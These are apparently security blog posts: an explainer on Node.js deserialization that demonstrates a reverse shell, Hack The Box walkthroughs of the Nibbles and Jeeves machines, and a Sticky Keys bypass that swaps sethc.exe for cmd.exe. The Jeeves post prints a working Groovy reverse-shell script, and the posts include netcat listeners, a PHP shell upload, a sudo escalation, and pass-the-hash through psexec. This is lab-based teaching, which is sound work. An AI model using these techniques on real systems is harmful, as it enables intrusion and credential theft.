Deserialization Vulnerabilities

What is Serialization and Deserialization?

It’s a way for an object to be converted in to a stream of bytes or similar, allow it to be stored or processed by other services such as databases, memory and files or sent across a network to a server. The byte stream can then be deserialized back in to it’s original object.

How can this be a problem?

Let’s take a look at NodeJS as it’s easy to see the process due to objects being serialized to a string. The package used to serialize an object is called node-serialize.

If we look at the code behind node-serialize we can see that in the unserialize method uses a javascript function called eval (Line 76).

What does eval do?

Take a look at this example.

Here we are setting a variable to a stringified function. We then use eval to turn that string in to functioning code. So it takes the string and turns it in to an actual function which just returns the word ‘test’. However if we were to use an Immediately-Invoked Function Expression by adding an addition ‘()’ with eval it will actually execute that function as you can see in the last example.

How can this be used for exploitation?

To demonstrate how this can be exploited, I’ve created a small application. It’s a simple web page that does the following:

  • Takes the users name and location on first visit
  • Stores the values in a JSON Object
  • Serializes the Object
  • Base64 Encodes the serialized object
  • Stores the base64 string in a cookie.

On return visits, the web app checks for the cookie and uses the value to reverse the process and display a greeting to the user.


(Source code available on GitHub: https://github.com/Largoat/serialization-demo-webapp)

So let’s see the application is use.

Now we’ll take that cookie value, URL decode it and then base64 decode and we’ll be given a JSON object. If we change the values and re-encode the JSON and save the value in the cookie we can see that upon refreshing our web application those changes have taken effect.

So let’s think back to how eval works and replace the JSON values with a function.

The output of this script would be;

{"name":"Bill","from":"_$$ND_FUNC$$_function () {\n return 'Test';\n }"}

We can then IIFE the function inside the serialized string, base64 encode and copy the value to our cookie. The result should be that the location will show as ‘Test’.

This means that we actually have the ability to run javascript on the server, rather than just on our client. This is very dangerous! NodeJS comes bundled with lots of different packages that allow us to do various different things.

Let’s take a look at this example:

Here we are doing the following:

Created a function as the value of ‘name’ in the JSON Object
including the ‘net’ package from NodeJS which allows us to create a network connection
including the ‘child_process’ package from NodeJS which allows us to spawn new processes.
Spawning a new shell using ‘child_process’
Connecting to another machine on port 8080 (the IP was set to localhost for this demo as both attacker and victim were on the same machine. This could actually be any IP address)
Binding the shell process to the network connection
Returning a string to keep the application happy.
We then serialize this, IIFE as before and then on to encoding and dropping in to the cookie. Next we set Netcat to listen for incoming connection on port 8080.

As you can see from the clip, we now have a reverse shell on to the server from an external source, all because client data has been trusted and run through one function… eval.

Not just NodeJS

It’s not just NodeJS that suffers from this issue. Any language that uses serialization and deserialization is prone to these types of vulnerabilities. In fact one technology that we use here is prone to such a thing…

WebLogic has the same issues. Take a look at King, Owen ‘s demo of the vulnerability: Deserialization in Weblogic

In an attempt to fix the issue with WebLogic, Oracle tried to Blacklist the packages that were allowing these exploits to work (unintentionally), but as soon as a patch was released, another route in to the same exploit was found.

This is the problem with trying to Blacklist packages in an attempt to fix Deserialization vulnerabilities. You can never blacklist them all and even if you get close, you’re adding a severe amount of bloat to your code. You may as well have done it properly and not use serialization at all right?

So what are Oracle doing to fix this huge security flaw in Java?

They’re not. They’re completely dropping serialization in java because it just cannot be fixed.

As I mentioned previously, it’s not just NodeJS or Java that have these issues but any language that serializes and deserializes such as .Net and PHP.

Prevention

The only way to prevent these vulnerabilities is to just not use Serialization at all. Make sure the applications or packages that you’re using do not have the vulnerabilities and make sure your servers or applications are configured correctly to prevent these issues.

Hack The Box – Nibbles

Enumeraction

As always, we start with an nmap against the machine’s IP.

[email protected]:~|⇒  nmap -sC -sV 10.10.10.75
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-27 19:04 BST
Nmap scan report for 10.10.10.75
Host is up (0.067s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.29 seconds

As you can see there’s an SSH service and Web service running. Head over to the web service wih your browser and you’ll see a ‘hello world’ page.

Inspect the page and theres an HTML comment that mentions ‘/nibbleblog/’, so navigate to that URL; http://10.10.10.75/nibbleblog/

Nibble Blog is a simple blogging web application. Searching for vulnerabilities online, you should come across CVE-2015-6967, but we need a login to be able to perform the exploit. A little more searching and you can easily find the default login page for this app; http://10.10.10.75/nibbleblog/admin.php

Getting the credentials is very easy and just requires a little bit of guess work.
What’s the default admin username for most applications? admin.
What word is used a lot on this machine? nibbles.
Chuck those credentials in to the admin page and you should be logged in to the dashboard.

Nibble Blog Exploit

Details of the exploit can be found on Curesec Research Team’s website. What it does is basically take anything you upload using the My Image plugin and saves it as image.php meaning it’s available for execution from within the browser.

To leverage this exploit, we’ll use pentestmonkey’s PHP Reverse Shell script to get a reverse shell.

Start up netcat with your chosen port to listen on e.g. nc -lvnp 4447.
Change the IP and Port in the PHP script to match your IP address and the port you’re listening on with Netcat. Save, then navigate to the My Image plugin in the Nibble Blog dashboard and upload. Ignore the errors.

Now to hit the content that’s just been uploading requires a little digging in to the Nibble Blog code, or you could look athe Curesec Research Team’s code snippet to see what’s going on. Basically each plugin appears to get it’s own ‘space’ to store files. This plugin uses that space and saves the file as . which is image.php. The plugin file storage directory is /content/private/plugins/my_image/. Add the 2 together and you should hit a page which seems to take forever to load, however check on your netcat and you should see you now have reverse shell! Check the user’s home directory for the first flag, user.txt.

PrivEsc

First we’ll run sudo -l to see what access to sudo the current user has.

$ sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

We can see that the user is able to run /home/nibbler/personal/stuff/monitor.sh as root without a password. So let’s head over there and investigate.

$ cd /home/nibbler
$ ls
personal.zip
user.txt

No personal directory, but there’s a zip. Extract the zip and you’ll see that it extract the directories and file that we’re looking for. Execellent.

$ unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh  
$ ls
personal
personal.zip
user.txt
$ cd personal/stuff

Since we’re able to run this shell script as root, let’s inject a simple su command, which will switch us to the root user. Use chmod to set the file as executable and then run it.

Note: >> appends to a file, where’s > replaces the contents of a file.

$ echo "su" >> monitor.sh
$ chmod +x monitor.sh
$ sudo /home/nibbler/personal/stuff/monitor.sh
sudo: unable to resolve host Nibbles: Connection timed out
'unknown': I need something more specific.
/home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found
ls
monitor.sh
whoami
root

BOOM! We’re now root. Head to the root directory to collect your prize.

Sticky Keys

I’ve recently taken part in a Cyber War Games event where I learnt quite a lot about a variety of things. One of the more interesting things was the Sticky Keys exploit on Windows.

For those that don’t know, Sticky Keys is an accessibility feature in Windows that allows the user to press and release modifier keys (Ctrl, Shift, Alt etc) rather than have to hold them. It can be activated at any time by pressing Shift 5 times.

The vulnerability isn’t actually with the Sticky Keys executable itself, but more the fact that Windows will just launch the executable when Shift is press 5 times, meaning that it can be replaced with another executable such as cmd.exe. It’s also run as the SYSTEM user from the logon page which means you’d get a command prompt at the SYSTEM user, allowing you to perform a variety of other commands.

Exploiting

For this vulnerability to work, the attacker first needs physical access the to computer. In this demo, I’ll use a Kali Linux Live USB stick on a Windows 10 Laptop.

Insert the Kali Live USB and boot to it. Next we need to mount the Windows partition using ntfs-3g (Install it if you don’t have it already, but it comes bundled with Kali). You can use fdisk -l to list all the connected disk drives and their partition.

[email protected]:~# mkdir -p /mnt/win10
[email protected]:~# ntfs-3g /dev/sda2 /mnt/win10
[email protected]:~# cd /mnt/win10

Now that we have the Windows partition mounted we then need to make a backup of the Sticky Keys executable and replace the original with cmd.exe.

[email protected]:/mnt/win10# cp Windows/System32/sethc.exe Windows/System32/sethc_1.exe
[email protected]:/mnt/win10# cp Windows/System32/cmd.exe Windows/System32/sethc.exe

Now shutdown, remove the Kali Live USB and boot up again in to Windows.
On the Password Entry screen, press shift 5 times and you should be given a command prompt. From here you can change existing users, add new users, add people to groups such as Administrator and lots more.

Prevention

To prevent this particular vulnerability you can do several things but I’d advise all of them if you want to be really secure…

Disable Sticky Keys

You can disable this from the Sticky Keys app itself or in your control panel. It should prevent Windows from launching the app.

Disable booting from USB Devices

This won’t work if someone physically removes your drive and plugs it in elsewhere, but at least it offers protection from someone walking up and performing this exploit.

Password Protect the BIOS

Combined with the above, it means that no one can make changes to your BIOS settings without knowning the password.

Encrypt your Windows drive

You can use the built in BitLocker with Windows to protect the data on your drive. This means that even if someone does get hold of the drive, they’ll need to break the encryption first before they can perform this exploit.

It’s a bit quiet over here…

Yes… it is. All for good reasons though!

So what’s been going on over the past few weeks since my Jeeve’s Write Up?

Well I’ve done another couple of write ups, but those boxes are still active on Hack the Box so won’t be released to the public until those boxes have been retired.

I’ve messed around with having a Kali Linux Live USB stick complete with encrypted persistence. That was fun to do and feels kind of cool carrying around all the tools I’d need to use just in my pocket!

I’ve also finally enrolled on 7 Safe’s Certified Security Testing Professional course which I will complete in July. Exciting times.

Taken part in a Cyber War Games event where I learnt quite a lot. The most interesting of my learnings from that event was the use of a Stick Keys exploit. I’ll write up a post on what that is later on this week.

I’ve successfully demonstrated deserialization vulnerabilities in a talk at my place of work which was taken quite well. As this was a work time peice, I just need to get permission to post the presentation or write up on here before I can do so but if not then I’ll just do it again in my own time.

Aside from that I’ve had standard life stuff going on really; work, exercise and gaming.

So sorry for the silence, but there’s content coming I can assure you! Watch this space…

Start of something new

A few weeks ago I decided that I’d finally like to pursue a career in to Cyber Security. I’ve always had an interest in it but never found the time or drive to follow up those interests.

Over the past 2 years I’ve been more and more involved with the Cyber Security team at my work place, starting out by taking part in a CTF Hacker-ton (and coming 2nd world wide two times in a row) and on to becoming a Security Champion within the company.

Having seen a Security Consultant job advertised internally, I decided I’d book some time with some of the Cyber team one-to-one to find out just what is involved in their day to day jobs. They’ve told me of various courses, podcasts and other resources I can use to help myself learn and hopefully get that foot in the door that I desperately crave.

One of those resources was a Pen Test Lab called Hack the Box. Shortly after learning of it, I had a week off work to relax, play some games and spend some extra time at the gym. However, I made the mistake of registering on Hack the Box on the first day of my holiday! The rest of my holiday was filled with box hacking until the early hours of the morning (4am most days!). I went from not even knowing what PrivEsc meant and thinking that an Enum was an Enumerated Type, to hacking my way in to several boxes and solving multiple other challenges available on Hack the Box.

Although it may take a long time to get there…it’s definately a place I want to be and in the mean time, I’m going to document everything I can along the way to not only help others learn but to also serve as a kind of Portfolio to show what I can do.

A lot of Pen Test/CTF labs don’t allow spoilers for a given period of time, and I fully intend to honour all of those rules. Any write ups and how-to’s that I publish will only be published after the embargo has been lifted.

Hack The Box – Jeeves

Enumeration

As a first port of call for all machines, we’re going to enumerate by scanning open ports.

NMap Scan

$ nmap -T4 -A -v 10.10.10.63

Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-15 20:47 BST
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:47
Completed NSE at 20:47, 0.00s elapsed
Initiating NSE at 20:47
Completed NSE at 20:47, 0.00s elapsed
Initiating Ping Scan at 20:47
Scanning 10.10.10.63 [4 ports]
Completed Ping Scan at 20:47, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:47
Completed Parallel DNS resolution of 1 host. at 20:47, 0.02s elapsed
Initiating SYN Stealth Scan at 20:47
Scanning 10.10.10.63 [1000 ports]
Discovered open port 445/tcp on 10.10.10.63
Discovered open port 135/tcp on 10.10.10.63
Discovered open port 80/tcp on 10.10.10.63
Discovered open port 50000/tcp on 10.10.10.63
Completed SYN Stealth Scan at 20:47, 4.45s elapsed (1000 total ports)
Initiating Service scan at 20:47
Scanning 4 services on 10.10.10.63
Completed Service scan at 20:48, 6.42s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.63
Retrying OS detection (try #2) against 10.10.10.63
Initiating Traceroute at 20:48
Completed Traceroute at 20:48, 0.05s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 20:48
Completed Parallel DNS resolution of 2 hosts. at 20:48, 0.04s elapsed
NSE: Script scanning 10.10.10.63.
Initiating NSE at 20:48
Completed NSE at 20:48, 40.06s elapsed
Initiating NSE at 20:48
Completed NSE at 20:48, 0.00s elapsed
Nmap scan report for 10.10.10.63
Host is up (0.039s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (91%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows 10 1607 (85%), Microsoft Windows 10 1511 (85%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 1.909 days (since Sun May 13 23:00:10 2018)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h59m20s, deviation: 0s, median: 4h59m20s
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2018-05-16 01:47:34
|_  start_date: 2018-05-14 03:59:52

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   40.03 ms 10.10.14.1
2   40.00 ms 10.10.10.63

NSE: Script Post-scanning.
Initiating NSE at 20:48
Completed NSE at 20:48, 0.00s elapsed
Initiating NSE at 20:48
Completed NSE at 20:48, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.05 seconds
           Raw packets sent: 2086 (95.468KB) | Rcvd: 35 (2.228KB)

We can see that the machine is running Windows of some sort. We can also see a few open ports: 80, 135, 445 and 50000.

Exploring Port 80

We know that port 80 is usually used for web servers and in the above scan we can see that the service running on that port is Microsoft IIS.

If we put the IP in to our browser we get presented with a website.

It looks like a simple clone of a good old search engine. If we enter something in to the box we’re presented with an error.

From this error we can see that the server is running Microsoft SQL Server 2005, but if you inspect the page you’ll see that it’s just an image. Maybe it’s a decoy?

Dirbuster: Port 80

Let’s see what dirbuster can find for us on port 80. We’ll use the directory-list-1.0.txt wordlist

Nothing there really. Maybe we can do a more intense scan and find something else but there are other ports to explore, so let’s move on for now.

Exploring Port 50000

Port 50000 is running a web server. Let’s have a look.

Ok so we got a 404 on this page. Let’s see what dirbuster can find for us.

Dirbuster: Port 50000

We’ll use the same wordlist that we used for port 80

After a short time, we can see an interesting folder; askjeeves.

Exploitation

So let’s stop the scan for now and head over there and we can see a Jenkins instance. By the looks of it, it’s completely open.
After a short time browsing around we can find a Script Console under Manage Jenkins.

As per the description, this script console accepts Groovey Scripts. The below script is available on frohoff’s GitHub, so either grab it there or use the below code.

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Set up a listening port on your attacking machine. I used Netcat for this;
nc -lvp 8044.

Set the host variable in the script to the IP of your attacking machine and set the port to the same as the one you’re listening on. Run the script and BOOM; we have a reverse shell.

$ nc -lvp 8044
listening on [any] 8044 ...
10.10.10.63: inverse host lookup failed: Unknown host
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.63] 49677
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\.jenkins>

Have a look around the directories that you’re able to. The first flag (user.txt) can be found in C:\Users\kohsuke\Desktop. Use type to display the flag.

Now it’s time to get root flag.

Root Enumeration

Head in to kohsuke’s Documents directory and you’ll find an interesting file. CEH.kdbx is a KeePass database file. KeePass is a password manager, so this will likely contain something interesting.

We’re going to use John the Ripper to crack the master password of the file, which means you’ll need a local copy of this file.

There’s a couple of ways to do this. One is to use Netcat to set up a listener on the Jeeves box and then connect to it from your attacking machine but I think I have an issue on my system that’s stopping incomming connections, so the easiest way I found was to copy the file to the userContent folder inside the Jenkins directory (C:\Users\Administrator\.jenkins\userContent). Files placed in this directory are served up on the web server and available to get requests, ie http://10.10.10.63:50000/askjeeves/userContent/CEH.kdbx

John the Ripper

Now that you have the kdbx file we need to get a password hash. Use keepass2john to do this.
keepass2john CEH.kdbx > hash

Then we can use the rockyou wordlist with JtR to crack the hash like so
john --wordlists=rockyou.txt CEH.kdbx

After a short time you should be given a password match by JtR.
I installed KeePass at this point and opened CEH.kdbx, then entered the master password that was provided by JtR.

There are a few interesting entries in the DB, but the one we’re after is Backup stuff. View the password and you’ll actually find an NTLM Hash. This has can be used to authenticate on an SMB service and if you look at the original NMap findings, there was an SMB service available to us.

Exploitation

Open up metasploit and load up the smb exploit.
use exploit/windows/smb/psexec

Set the RHOST option to the IP of the box. Set the SMBPass option to the NTLM Hash from KeePass and lastly set the SMBUser option to Administrator as that’s who we want to authenticate as. Run exploit and you should get a meterpreter instance. From here we can drop straight in to a command prompt as the Administrator by typing shell.

The user.txt file was located on the Desktop of the kohsuke user, so let’s look at the Desktop of the Administrator first.

C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   7,525,425,152 bytes free

There’s a file called hm.txt but no root.txt, and if you have a look at the contents it tells us to look deeper…

C:\Users\Administrator\Desktop>type hm.txt
The flag is elsewhere.  Look deeper.

Use the /r arguement with dir to do a recursive list on Desktop and you’ll discover a hidden file

C:\Users\Administrator\Desktop>dir /r
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   7,525,425,152 bytes free

This is an Alternate Data Stream file (a good explaination can be found on the How to Geek website) and to see the contents we’ll have to use something that will accept the Data Stream such as more

The following will inject the contents of the Data Stream in to the more program and then display that content.

C:\Users\Administrator\Desktop>more < hm.txt:root.txt:$DATA
<ROOT FLAG>

You should now have your root flag!